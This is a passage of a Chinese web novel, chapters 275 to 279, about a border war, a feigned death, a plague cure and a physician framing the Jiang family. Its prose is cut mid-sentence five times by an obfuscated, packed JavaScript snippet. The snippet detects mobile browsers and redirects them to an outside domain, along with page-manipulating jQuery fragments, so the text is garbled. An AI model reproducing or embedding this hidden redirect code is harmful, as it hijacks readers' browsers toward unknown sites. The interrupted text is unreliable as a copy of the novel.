戈叙白道了句得罪,揽住叶寒衣的腰,起跳间便离地,往林子的某个方向而去。 他吹了一记哨,手下立马会意,当即不再恋战,瞅准了机会便跑。 这段时日,他对这片区域已经摸索得十分熟悉,知道哪条路最安全。 叶寒衣被他带着往西边走,身后的追兵穷追不舍,但好在有戈叙白的手下护卫,很快,他们就把追兵甩掉了——但有一人,依旧像苍蝇一样没甩掉。 又一支利箭从身后袭来,戈叙白一手抱着叶寒衣,一手在虚空一抓,徒手接住了那支箭。 他眼眸锐利如鹰,精准地定格在某处,毫不犹豫地将手中利箭掷了出去。 暗影处传来一阵异动,以及一声闷哼。 戈叙白嗤了一声,“只敢躲在背后弄鬼的鼠辈。” 碍于羌笛大敌在前,叶寒衣又伤情不明,戈叙白没有再多作纠缠,带着她飞快离开。 楚翊安靠在一株大树后,咬牙拔出自己肩上的利箭,然后又从怀里摸出一瓶药,飞快服了下去。 这箭上有毒,若是不及时服用解药,他就只能任人宰割了。 他没想到,自己躲在暗处都能被戈叙白所伤。 若非大敌当前,戈叙白不欲恋战,只怕自己定要命丧他手了。 身后追兵来了,楚翊安也不敢久待,只能撑着伤臂逃离。 叶寒衣起先还只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15382362|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是浑身酸软无力,到后来,她的神志都开始有些不清醒。 她本能地环抱着戈叙白,将他当作唯一救命的浮木。 感受到自己腰上环抱的手臂,戈叙白的身形微不可查地凝滞一瞬,很快就恢复如常。 当务之急,要先离开此地,再给她治伤。 张烈一行人狼狈地从断云山逃离,折损了半数人手。 谷栖山第一时间召见,询问详情。 张烈满脸羞愧,“属下无能,没能救下瑾王殿下,他,不幸坠崖了。” 谷栖山闻言,心头狠狠一颤,魁梧的身形险些站立不稳。 谷兆麟连忙上前搀扶,“义父,您别激动,兴许此事另有玄机。” 又看向张烈,“张统领,你可是亲眼见到瑾王殿下坠崖?” 张烈摇头,“属下彼时在于羌笛人缠斗,并未亲见,但楚大人亲眼看到了。” 谷兆麟立马道:“把他召来。” 楚翊安被召到了帅营中,他是被抬着来的。 他的手臂被戈叙白的那一箭刺穿,那上面有毒,即便他服用了解药,药效也没有那么快,羌笛追兵追上来时,他一时不敌,被对方所伤,身上挨了好几刀。 若非援兵及时赶来,他只怕就要交代在那里了。 谷兆麟见他那副狼狈模样,眼底闪过一抹鄙夷。 就他伤得最重,当真废物。 谷栖山追问当时的情形,楚翊安语气沉痛,“瑾王殿下受了重伤,由护卫背着下山,我等亦是全力护卫,但羌笛贼子来势凶猛,瑾王殿下的护卫慌不择路,逃到了断崖边,羌笛贼子在暗处放冷箭,为了躲避冷箭袭击,瑾王殿下不慎坠崖……” 谷栖山呼吸粗重了几分,“你可看清了?当真是瑾王殿下?” 楚翊安没看清,当时天色昏沉,将亮未亮,萧晏辞又趴在那护卫的背上,他没机会看到脸。 但那身形,与萧晏辞十分相像,不可能是旁人。 若是旁人,一众护卫也不会那样拼死相护,便是戈叙白也拼尽了全力吸引火力。 是以,楚翊安语气笃定,“属下看清了,是瑾王殿下。” 第275章 中邪了 谷兆麟一副兴师问罪的语气,“你们可有到崖底搜救?” 张烈和楚翊安都面露难色。 “那处断崖非常陡峭,我们根本难以下崖,而且又有追兵,我等便是想下崖,也有心无力。并非属下等推诿责任,实情切实如此。” “正常人坠崖,也难以保全,更何况,瑾王殿下身受重伤,只怕……是我等无能,没能护卫殿下安全,请将军降罪!” 谷栖山坐在帅椅上,高大的身形好似瞬间便佝偻了下去,眼底涌起一股难掩的悲痛。 他最不愿看到的结果,还是发生了。 萧晏辞在西平出了事,自己要以何等面目去面对柔妃? 那是她的独子,她得知此事,能否经受得住打击? 谷兆麟心头暗松了口气,这段时日,萧晏辞在西平没少给他找麻烦,谷兆麟早就恨不得对他除之后快。 而今,他可算是**,谷兆麟心头闪过快意。 就算皇上要降罪,也该怪在羌笛人的身上,断然没有对他们重罚的道理。 但见谷栖山那副满脸沉痛的模样,谷兆麟心中升起不快。 一个不相干的王爷,**便**,他何必作出这副姿态?就像是**自己儿子似的。 谷兆麟想到了另一茬,忙问,“叙白呢?” 相较于萧晏辞,戈叙白更是他的眼中钉肉中刺。 想起戈叙白,楚翊安的肩头不由得一痛。 “戈参将没有跟着大军回来,去向不明。” 谷兆麟心中狂喜。 谷栖山的心则再次狠狠一沉。 “怎么回事?说清楚!” 张烈低着头,“此次羌笛人马众多,属下与戈参将各自为阵,根本没有留意到他,待属下率兵拼杀出敌围,便与他走散了,他的人也只有少部分回来了。” 谷栖山眉头紧锁,“羌笛此次大概出动了多少人马?” “属下估计,有近五千。” 戈叙白当初只带了一千精锐,而且不知损耗了多少,眼下跟在他身边的人,最多数百。 若是与羌笛残兵对上,他们也不一定占的到便宜。 萧晏辞已经丧命,他无论如何也只能接受这个结果。 但是戈叙白还有活着的可能,他就不能放任不管。 谷栖山顾不得许多,立马吩咐调兵一万,出城搜寻营救。 “无论如何都要把人救回来!” 谷兆麟低垂眼帘,掩去眸底的那抹冷意。 若自己出事,他会不会这般着急?舍不舍得派出一万人手前去搭救? 戈叙白这次死定了,派再多人前去,都是白搭。 大军派了出去,然而谁都没料到,第二日,大军折返,竟折损了一半。 谷兆麟连忙质问,“怎么回事?” 为首将领跪下请罪,“回禀少将军,我们与羌笛部落发生交锋,原本我方微操胜券,但不知为何,士兵们突然出现抽搐,癫狂之症,就,就好像突然中邪了似的!羌笛人趁势反扑,我方不敌,为免造成更大损失,属下不得不带兵折返。” 谷兆麟眼眸微闪,再次高声质问,“好端端的,他们怎会突然发疯?” 为首将领满脸惶惑,“属下也不知道是怎么回事……” 谷栖山起身,大步流星往外走。 “领路,带我去看看!” 发病的士兵大多都命丧羌笛人之手,只有几十人被带了回来。 谷栖山赶到时,他们已然平静下来,但一个个双目无神,眼神呆滞,似神游天外,有人与他们说话,他们也毫无反应。 谷栖山眉头深深地蹙起。 正这时,又有人匆匆来禀,“将军,不好了,城中有不少百姓也中邪了!” 这话让众人心头一凛。 谷栖山立马到城中查看,果然,今日不少百姓突然出现了暴起伤人的癫狂之症,且完全失智,六亲不认,其状态十分可怖。 原本慢慢恢复平静的西平城,再次掀起了波澜。 城中迅速引发惶恐,流言四起。 “定是咱们吃的药方子有问题!” “对,定是这药方有问题,这方子一开始有点用,但实际上对咱们的身体是有害的,继续服用下去,咱们也会变成那样人不人鬼不鬼的样子!” “这方子是蒋家人开的,我听说,蒋家是罪臣,已经被皇上下令流放了,眼下他们是戴罪之身!说不定他们心怀怨恨,这才故意开了害人的方子来给我们服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15387198|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用。” “定是如此!难怪我总觉得服用了这药汤之后身体更加不适,原是他们包藏祸心。” “原先赵医女给我们开的方子分明就很好,为什么要换方子?让赵医女给我们治病!” 短短一日,城中局势逆转,临时搭建的药棚被百姓打砸,太医院的太医和蒋家人都被人扔了臭鸡蛋,烂菜叶子。 蒋老太医试图同他们讲道理,但百姓群情激奋,根本不听他的解释,有一个孩子激动地冲上来,“都是你,害得我爹变成那样,你就是个坏人,大坏人!” 蒋老太医被撞倒在地,扭伤了腰,半晌都没能起来。 最后,还是士兵赶来,这才控制了局面。 许国祯看向蒋老太医的眼神也带上了些许怀疑。 “蒋老,你跟我说实话,这方子到底有没有问题?” 蒋老太医捂着受伤的腰,神情痛苦,他急喘了几口气,这才把话说完。 “这方子绝对没问题,赤影藤于此症是最适合不过的对症之药。” 许国祯依旧有些怀疑,“那为何百姓们会出现这样的症状?” 蒋老太医也没弄明白,“我没有亲自给他们诊过脉,不知问题出在何处。你去把发病的患者带来,让我先诊脉,只要我诊了脉,定能查出原因。” 许国祯也怕担责任,自然连忙去安排。 但此事却有些超出他的掌控,群情激奋,百姓们认定是蒋家的方子有问题,连带着他们这些太医院的太医也受到了敌视,那些发病的患者家属根本不愿让蒋老太医诊脉。 蒋老太医的腰伤严重,他这段时间日夜辛劳本就是强撑,眼下又遭到百姓的谩骂,他的身体和心理都遭受了重创,终于撑不下去,彻底倒下,这一病就昏昏沉沉,人事不省。 没了他这个主心骨,蒋家的其他人彻底没了主意,许国祯等一众太医也成了一盘散沙。 他们给发病的士兵诊了脉,却什么都没有诊出来。 城中开始人心惶惶,这种惶恐和流言也蔓延到了军中。 孩童也开始传唱童谣。 “仙姑方,救四方,官爷药,躺床板。” 他们口中的仙姑,指的便是赵书宁。 第276章 赵书宁的替罪羔羊 谷栖山面沉如水。 从事发到现在,只过了短短三日,却已闹得满城风雨。 流言发酵的速度,有些超乎寻常。 这背后,当真没有人推波助澜吗? 这时,谷兆麟找到他,“义父,城中疫病再生波澜,若不及时处理,只怕先前的努力都要功亏一篑。” 谷栖山看着他,“你有何良策?” 谷兆麟直言不讳,“先前赵书宁在城中治疫,也颇有成效,不若便让她再来试试。” 谷栖山沉吟片刻,点头答应了。 城中的确需要能稳住局面的人,赵书宁也确有几分本事,只要有本事之人,他都不吝任用。 另一方面,他心中也生出了一些怀疑。 他要求证那些怀疑,就得先给对方表现的机会。 若当真是有心人在背后弄鬼,狐狸尾巴迟早都会露出来。 楚翊安受了伤,最近在城中养伤,赵书宁这几日哪里都没去,一直在照顾他,楚翊安恍惚觉得他们好似变成了当初那般,他看她的眼神都添了几分温柔。 赵书宁也笑脸相迎,但眼底却没多少真实的情谊。 自己这般尽心尽力地伺候他,是看在他除掉萧晏辞,立了功劳的份儿上。 若他在吴王那里能到重用,赵书宁乐见其成,自然也就愿意与他修复一番关系。 而且,这几日她也在等消息。 她已经往油锅里浇了一勺水,眼下油锅彻底炸了,她便只需要在旁边静静看着,到时候,自然会有人来请她。 她没有等多久,谷兆麟派人送来了好消息,赵书宁脸上露出了志得意满的笑。 不枉她谋划这么久,总算成了。 楚翊安一喜,“书宁,这步棋你走对了,接下来你有几成把握?” 她已经把这趟水搅浑,蒋家的功劳彻底化为了泡影。 但接下来,更要紧的是力挽狂澜,把局势重新稳住。 不然,这盘棋就彻底崩盘了。 楚翊安对赵书宁有信心,但到底心中依旧存有疑虑。 赵书宁神色笃定,“十成。” 楚翊安眸底喜色更浓,“当真?” “不信?那你且瞧着便是。” 楚翊安见她如此自信,心中那点疑虑也消失了,看着她的眼神更加充满柔情。 “我自是相信你,你从来不会让我失望。” 这话赵书宁半个字都往心上去。 先前在京中发生的桩桩件件事情还历历在目。 若她把事情办成了,这男人自然是满口赞誉。 但若事情办砸了,自己在他的嘴里就成了牵连侯府的搅家精。 不过,这次,她不会失败。 蒋家人无论如何都不会想到,他们从一开始就落入了自己的圈套之中。 她对这场疫病,其实并无良方。 但当时情况紧急,羌笛人来犯,军中士兵十之九病,根本毫无战斗力。 谷兆麟急得满嘴燎泡,赵书宁一番斟酌好考量,做出了一个大胆的决定。 她与谷兆麟达成了合作。 她让士兵们好起来,谷兆麟就替她请功。 她剑走偏锋,用了一个自己此前也未曾用过的阴毒之法。 此法效果立竿见影,但却同样有后患,是以,她只敢在少数人身上使用。 最后的效果果然超乎寻常,服了药的士兵迅速好了起来,甚至变得分外勇猛,在与羌笛的对战中所向披靡,立下不小的功劳。 首战告捷,谷兆麟遵守诺言替她请了功,还催促她把此方用在其他人的身上。 这时,赵书宁才向谷兆麟坦白真相,那方子乃是饮鸩止渴,后患迟早会爆发出来,若大规模推广,她根本兜不住。 在大战中折损,是最好的毁尸灭迹的方法。 但还有上千名士兵还好好活着,他们必须要想法子除掉那些士兵。 赵书宁需要谷兆麟当这刽子手,所以才向他坦白。 谷兆麟得知内情,自是恼怒,但他已经被绑定在赵书宁这艘船上,没了退路,便只能想法子善后。 就在这时,蒋家人来了。 蒋老太医拿出了行之有效的治疫之法,赵书宁的功劳和风头都彻底被抢走,但她非但不急,反而松了口气。 因为她知道,自己的替罪羊来了。 蒋老太医的药方的确很对症,这几日连续服用,大部分病人都好了大半,剩下尚未痊愈的,也只是时间问题。 至此,时机便成熟了。 他们精心策划了这一出戏。 那支派出城的人马,是谷兆麟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15387199|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安排的。 那支队伍,囊括了所有他们要除掉的人。 一切都很顺利,出城后,他们受了不知名的刺激,突然“中邪”,又遇羌笛袭击,几乎全部丧命,只余二十多个漏网之鱼。 这二十多人已然不足为虑,只需随便找机会就能除掉。 而百姓中“中邪”的人,则是赵书宁后面下的手。 那些人的“中邪”至关重要,会成为引爆**的**。 之后,再派人暗中引导**,一切的矛头自然全都指向了蒋家人,指向了他们的方子。 没人会想到,真正有问题的,是赵书宁先前的方子。 现在,治疫的任务重新落在了赵书宁的肩上,旁人都觉得这是一个烂摊子,但她知道,这是一个现成的功劳。 蒋家人已经把最难熬的关卡都熬过了,百姓们连续服用了这么多天的药,身子本就好了大半,接下来,她只需再开些培元固本的药,大家就能痊愈。 如此,她不仅顺利把原本的黑锅甩给了蒋家人,还反手把他们的功劳抢了过来。 蒋家人,彻彻底底成了她的垫脚石。 赵书宁的唇角勾起一抹得意的笑。 蒋家本就已经被抄家,再没了翻身的可能,赵书宁利用起他们来,全无半分负担。 能为自己充当垫脚石,也算是物尽其用了,实乃他们的荣幸。 楚翊安追问她具体的计划,赵书宁自是没有透露。 此事越少人知道,她的风险就越小。 楚翊安不可信,谁知道他会不会反手出卖自己? 便是谷兆麟,她也不是完全信任。 只是,此事也关涉到他的利益,他绝不会主动把这件事往外说。 楚翊安见她不肯透露,心中虽有些不快,但也没有再继续追问。 “对了,我看到了叶家人。” 赵书宁面露疑惑,“哪个叶家人?” “滇南叶家,若我没认错的话,是瑾王的表妹叶寒衣,我的箭伤了她,戈叙白把她救走了。” 赵书宁蹙眉,“你没有暴露自己吧?” “我隐于暗处,自是无人发现。” “那便不足为虑。要怪就怪她自己来这是非之地,叶家人就算要算账,也只能记在羌笛人的头上。” 第277章 我的命,便是你的 萧晏辞已死的消息,被第一时间送回京城,楚翊安迫不及待地要为自己邀功。 殊不知,此时的萧晏辞并没死,还好端端地活着。 那暗卫背着的人,是一具体型与萧晏辞相似的尸体。 他们故意使了这一记李代桃僵,便是为了吸引火力,好让萧晏辞金蝉脱壳。 借着夜色的遮掩,他们不仅骗过了羌笛人,也骗过了那些在背后虎视眈眈,想要除掉萧晏辞的人。 楚翊安太急功近利,没有分辨清楚便急着出手。 最后,“萧晏辞”坠崖,他也无从查验真相,更是打心底里坚信自己立下了功劳。 萧晏辞和陆知苒被一路护送着离开了断云山,回到大齐,中途遇到了两波人马,但人数都不多,被他们轻松解决了。 萧晏辞知道想要自己性命的人不止羌笛人,是以他们没有走大路,回到大齐境内,他也不急于现身人前,而是找了个地方养伤。 他们到了一处荒废的小村庄,前不久,羌笛曾到村庄烧杀抢掠,整个村子的人,都被羌笛人杀了。 陆知苒看到这些荒废的屋子,心头升起一股强烈的愤怒。 两国交战,或许是立场的不同,但羌笛人肆意烧杀普通百姓,如此行径,委实残忍,令人发指。 “那支作恶的羌笛人已被尽数捉拿,他们被剥光了悬于城墙之上,活活吊**。” 萧晏辞语气轻飘飘的,眸底透出三分凉意。 当初,他带着手下赶往西平城,途径此地,便恰好遇到了肆意作恶的羌笛人,他大怒,一声令下就将他们抓了。 入城时,他们的马后面都栓着一个羌笛人,那些人被一路拖行,只剩半条命,十分狼狈。 把人吊在城门上之前,他们都吃尽了苦头。 百姓们见了,欢欣鼓舞,只觉得大快人心。 也正是知道这村落的存在,萧晏辞一行人才直奔此地。 这里偏远,有荒废的房子可以栖身,适合养伤。 陆知苒听了这番话,心中这才稍微好受点。 至少,这些村民的仇报了。 “殿下,你的伤可有裂开?” 方才一路奔逃,即便再小心,也难免颠簸,她注意到,萧晏辞的眉头蹙了好几次。 “缝得很扎实,没有裂开。” 疼自然是疼的,但这话也是实话,伤口缝上了,又用了药,愈合的速度远比他预料中快。 不得不承认,洋医在这方面的确有其独到之处。 他身上的蛇毒解了,身体根基有所恢复,伤口愈合得也更快了。 陆知苒见他不似强撑,这才略略放下心来。 又不免对叶寒衣生出担心,“不知寒衣是否脱险了。” “她武功不错,又有叶家护卫护着,戈叙白也不是吃素的,定然无事。” 陆知苒一想也是。 萧晏辞看着她,语气添了几分轻柔。 “我没想到你会来。” 她如实道:“皇上之命,不敢不从。” 萧晏辞有些疑惑,“父皇怎会让你来?” 并非他瞧不起陆知苒,她的确不适合在此时到西平来,除非父皇觉得她有非来不可的理由。 陆知苒如实把德丰帝与她说的那番话道来,提到那锦囊上的话,她的面上浮起一抹微微的不自在。 当着他的面说自己是他的贵人和有缘人,委实有些托大了。 萧晏辞听罢,心头不禁微微悸动,唇角亦不自觉地勾了起来。 “看来,那老秃驴的确有几分真道行,以后,我都要尊他一声大师。” 又问,“你是如何找到我的?” “我先前梦到过几回,遵循梦境和神明的指引,一路便寻到了那沼泽林。” 萧晏辞看她的眼神更添了几分笑意。 “你果真是我命中的有缘人,从今以后,我的命,便是你的。” 这话带着一股旖旎与虔诚,叫陆知苒耳根不自觉微微发烫。 “若没有父皇之令,你可会来寻我?” 陆知苒一愣,旋即实诚地摇头。 “不会,我没有自保之力,贸贸然前来,只会添乱。” 她的确曾经动过要来西平的念头,但那念头来得快,去得也快。 她会权衡利弊,不会冲动地做出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15396019|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决定。 她会派更多的人来,却不会自己亲自来。 这回答在预料之中,又不可避免地叫萧晏辞心底生出一丝淡淡失望。 “那你此次前来,可有担心本王?还是只是奉命行事?” 他的眼神直勾勾的,带着一股不依不饶的意味,像是个执着讨要糖果的孩子。 陆知苒认真道:“自是担心的。你我庚帖已换,不日便要成婚,我不想当望门寡。” 萧晏辞一愣,旋即克制地闷笑几声。 “王妃放心,本王定会长命百岁,绝不叫你当寡妇。” 这话再次让陆知苒耳根微热起来。 萧晏辞又问起了京中的局势,陆知苒便将最近京中发生之事一一道来。 提到柔妃,陆知苒语带歉意,“你出事的消息,我本不想告诉柔妃娘娘,但她与你母子连心,当晚就做了梦,我们没瞒住。眼下,她只怕也一直在担惊受怕。” “母妃看似柔弱,但实际上能撑得住事,没收到我的确切消息,她不会倒下。” 说这话时,萧晏辞的眼神间含着一抹笑意,更带着股淡淡的骄傲。 他的母妃可是滇南王府出身,岂会是心志柔弱之人? 陆知苒也笑了,“我亦深以为然。” 这时,霜华入内,“殿下,该换药了。” 萧晏辞面不改色,陆知苒却是微微变了脸色。 她手腕上的淤伤至今仍在,就算换药比不得上次那般疼痛难忍,也必然不轻松,他又要吃大苦头了。 她大义凛然地伸出了自己的手,“若是疼,可以抓着我。” 萧晏辞见此,心头不禁微微一暖。 “不过换药罢了,跟挠痒痒似的,半点不疼。” 这话他说得轻巧,陆知苒却并不信。 伤口就算恢复得再好,也不可能好得那么快。 他是肉体凡胎,如何会不痛? 这时,他才注意到陆知苒手腕上残存的淤伤,眸色一深。 “你的手怎么了?” 陆知苒没打算多说,显得矫情,霜华却直言,“当日奴婢给殿下清理伤口,您抓出来的。” 第278章 挖坟 萧晏辞呼吸微滞,眼底浮起一丝愧疚与心疼。 他当时疼得神志不清,根本不知道自己抓着的是什么。 “对不住,我不知抓的是你。” 陆知苒轻松一笑,用他的话调侃,“跟挠痒痒似的,半点不疼。” 萧晏辞握住了她的手。 定是疼极了。 自己当时疼得失了智,下手不可能轻。 她的皮肤那般嫩,被自己抓出那么深的伤口,这么些天了,依旧没好。 不知该如何弥补她。 他动作很轻,怕再伤她半分。 陆知苒努力压着自己的不自在,“殿下要尽快好起来,如此方对得起我手上的疼。” “好,谨遵王妃之令。” 这次换药,萧晏辞的伤口恢复得比预想中好,痛感也减轻许多,霜华动作麻利,很快完成了。 陆知苒撇开了头不敢看,待换完了,她才重重舒了口气。 萧晏辞脸上还是起了一层薄汗,他很快调整好面容,一副无事人的模样。 这厢刚处理完伤口,外头就有下属前来回禀。 “殿下,有人来了,是一对男女,身份未知。” “让大家藏好,保持警惕,不要惊动对方,且看看对方想做什么。” 若只是路过的百姓,自是无需在意。 但也要以防万一,看看对方是否另有所图。 一对男女相携而来,男人身形高大,面容微黑,鼻梁高挺,眼眸有些深邃,五官既像大齐人,又带着几分羌笛人的特色。 他身旁的女子身形也不矮,有些单薄,脸上戴着面纱,只露出一双清澈透亮的眼眸。 二人都穿着粗布衣裳,浑似普通百姓。 只是,那男子的步伐矫健,下盘极稳,俨然是习武之人。 “阿铮,到了吗?” 林铮声音低沉,“快了,就在前头。” “你会不会记错?” “不会,我亲眼看到他们把人埋下。” 女人语气有些迟疑,“挖人坟墓,有损阴德……” 林铮道:“你只需从旁看着,我来挖,要损也是损我的阴德,不会损了你的。” 女人语气有些着急,“不许这么说,你的阴德也不能损。” 林铮不禁温柔几分,“我们虽要挖人坟墓,但并非要做阴损之事,老天爷定不会怪罪。你我的阴德都不会有损。” 女人被安慰住了,这才放下心来。 走了一会儿,她不禁环住对方胳膊,声音发紧。 “阿铮,此地阴气好重,就好似有无数双眼睛在盯着我,我有些害怕。” 男人伸手,将她环抱。 “我煞气重,没有邪祟敢靠近你。” 二人一路前行,走到某个新坟前停了下来。 “阿蘅,你在旁边等着,我来挖。” “我也来帮忙,这样快些。” 女人虔诚地朝墓碑前道了句得罪,然后两人便抡起工具挖了起来,林铮动作麻利,很快就挖出了一个大坑,露出里面的草席。 穷苦人家,没人能置办得起棺木,人没了,一卷草席裹着就是最大的体面。 正待合力把草席挖出来,幽暗处忽而传来一道冷冰冰的声音。 “掘人冢墓,绝人血食,此乃禽兽不如之行也。二位此番鬼祟行径,罪大当诛。” 阿蘅被这冷不丁的话吓了一跳,林铮则是瞬间沉了眸,周身笼上一层凌冽寒霜。 他将阿蘅护在身后,警惕地看向声音来处。 “是谁?” 一人从树上跳了下来,眸光很冷。 林铮看到对方的脸,眸色又是一沉。 “又是你!你跟踪我们!” 孙牧之双手抱怀,冷昵对方,“不做亏心事,又何必心虚?” 这的确不是他们第一次交锋。 孙牧之并非喜欢没事找事的人,他与林铮的交锋,盖因阿蘅而起。 孙牧之的目光落在阿蘅的脸上。 方才阿蘅取下了面纱,她的脸完完全全呈现在孙牧之的面前。 再看到这张脸,他心中的念头更加强烈,像,真的太像了。 这人,分明就是女版蒋南笙。 上次,他意外瞧见了对方,立马追了上前,这才与林铮起了冲突。 心中升起了疑惑,他便一直记挂着此事,一直派人留意着这两人。 但林铮很警惕,上次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15396020|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后,他们就刻意隐藏了行踪,孙牧之一直没有再寻到二人。 直至这几日,城中疫病再生波澜,这两人才再次现身,帮忙照看病患。 孙牧之注意到,这女子是会医术的。 这更添了一个疑点。 留意到他们一直在刻意打探着什么消息,似有所图谋,孙牧之便一路尾随。 谁料,竟是撞见了他们二人挖坟的一幕。 挖人坟墓,实在阴损,孙牧之再按捺不住,出声阻止。 林铮留意到孙牧之落在阿蘅脸上的目光,眸底升起寒意。 他将阿蘅挡住,彻底阻隔了对方的视线。 这人的打量让林铮升起了一股前所未有的危机感,好似有人会将她抢走。 阿蘅神色紧张,抓着林铮的衣角,躲在他的身后。 她脑袋受过伤,不记得很多事情了,但眼前之人,对她似有敌意。 难道他们之间曾经有过过节? 蒋南笙试图回忆过往,但刚一深想,脑袋就一阵剧烈地疼痛,似被针扎,她赶忙打住了念头,不再深想。 林铮语气冰冷,“我们做的事,与你无关,你最好不要多管闲事。” 孙牧之呵了一声。 “我乃朝廷命官,尔等行径已然触犯了本朝律法,依律,我现在便可以抓你们去见官。我观你面相,倒是有几分像羌笛人,我就更不能轻易把你们放过了。” 孙牧之的话似戳中了他的痛处,林铮眼底闪过一抹杀意。 “那就要看你有没有这个本事了!” 话落,他没有再半分迟疑,抡起方才挖坟的大铲子就朝孙牧之发起攻势。 孙牧之早有防备,立马拔刀相迎,双方很快就打在了一起。 林铮的攻势很猛,招招都是杀招,狠厉不留情。 孙牧之也不是吃素的,撇开招式不谈,他的那把力气便是最大的武器。 一刀劈下去,林铮手里的大铲子被劈成两段,他急急闪退才避开了杀招。 但饶是如此,他的双臂也被震得一阵发麻,好半晌都没缓过来。 林铮不得不重新审视孙牧之这个对手。 自己方才轻敌了。 第279章 阿铮是好人,我信他 阿蘅立马上前,神色焦急。 “阿铮,你有没有事?” 林铮捂着心口,平复了一番呼吸,缓缓摇头。 “无事。” 她依旧面露担忧。 她知道,林铮身上有伤,自己给他开方子调理了许久,才慢慢好了起来。 阿蘅看向孙牧之,秀眉紧蹙。 “你到底是谁?为何一再与我们为难?” 孙牧之目光落在对方的身上,再次带上了打量之意。 “你当真什么都不记得了?” 阿蘅摇头,“你以前认识我?” 孙牧之:“你与一位故人长得很像,那人名唤蒋南笙。” 听到这个名字,她的脑中闪过一抹刺痛,林铮的眸底立马闪过一抹紧张,慌忙扶住她。 林铮知道,她就是蒋南笙,只是她忘却了一切,林铮便刻意没有提及。 只有阿蘅会留在自己身边,而蒋南笙,则是天上的月亮,是他永远无法触碰的存在。 孙牧之看着两人亲昵的动作,眉头再次蹙了起来。 “你既已不记得过往前尘,又为何轻易相信此人?你对他轻易交托自己,日后,你若想起往事,便只能追悔莫及。” 这男人身份不明,又生得这番肖似羌笛人的容貌,实在可疑。 若她当真是蒋南笙,这男人趁其失忆诓骗她,孙牧之断然没有做视不管的道理。 只是,他对此也不大确定。 人人都知,蒋南笙是京中出了名的天才神医,是蒋家最有出息的孙辈,他不可能是个女子。 但孙牧之却期盼这是事实。 若蒋南笙是女子,那她就不再是自己的威胁。 他必须要想法子弄清楚此事。 这话让林铮的脸色变得十分难看,看着萧晏辞的眼神也立马笼上了一层深深的敌意。 蒋南笙握住林铮的手,脸上露出一抹恬静的笑。 “阿铮是好人,我信他。” 一句话,就让林铮眼底那抹嗜杀的冷意瞬间褪去,取而代之的,是缱绻的温柔。 孙牧之依旧蹙着眉,“我不知道这男人究竟给你灌了什么**汤,但此人的身份着实可疑。你真正的家人就在城中,你若信得过我,便随我一道去见见他们,或许你见到了对方,就能想起前尘往事来。” 林铮浑身的神经再次紧绷,眼底的警惕与戾气更重。 蒋南笙沉默了一瞬,旋即摇头,“我现在并不想寻找家人,我还有更要紧的事要做。” 孙牧之瞥了一眼那被挖起的坟墓,眼底闪过嘲讽。 “你所谓的要紧事,就是挖人墓穴?” 蒋南笙的面容凝滞了一瞬,旋即浮起一抹微微的尴尬。 “事情不似你以为的那样,我并非有意冒犯死者,而是有正事要做。” “何事?” 蒋南笙摇头,“此事尚未有定论,我还不能说。” 孙牧之依旧满脸怀疑地看着她。 林铮声音冰冷,“阿蘅,不必与他废话,待我把他杀了便是。” 那段时间,总有人要杀蒋南笙,若非他把人藏得好,她只怕已经惨遭毒手了。 此人见过蒋南笙的容貌,又对他们颇有敌意,林铮不想留他性命,徒增隐患。 孙牧之呵了一声,“杀我?好大的口气,那要看你有没有这本事了。” 眼看二人又要打起来,蒋南笙赶忙阻拦。 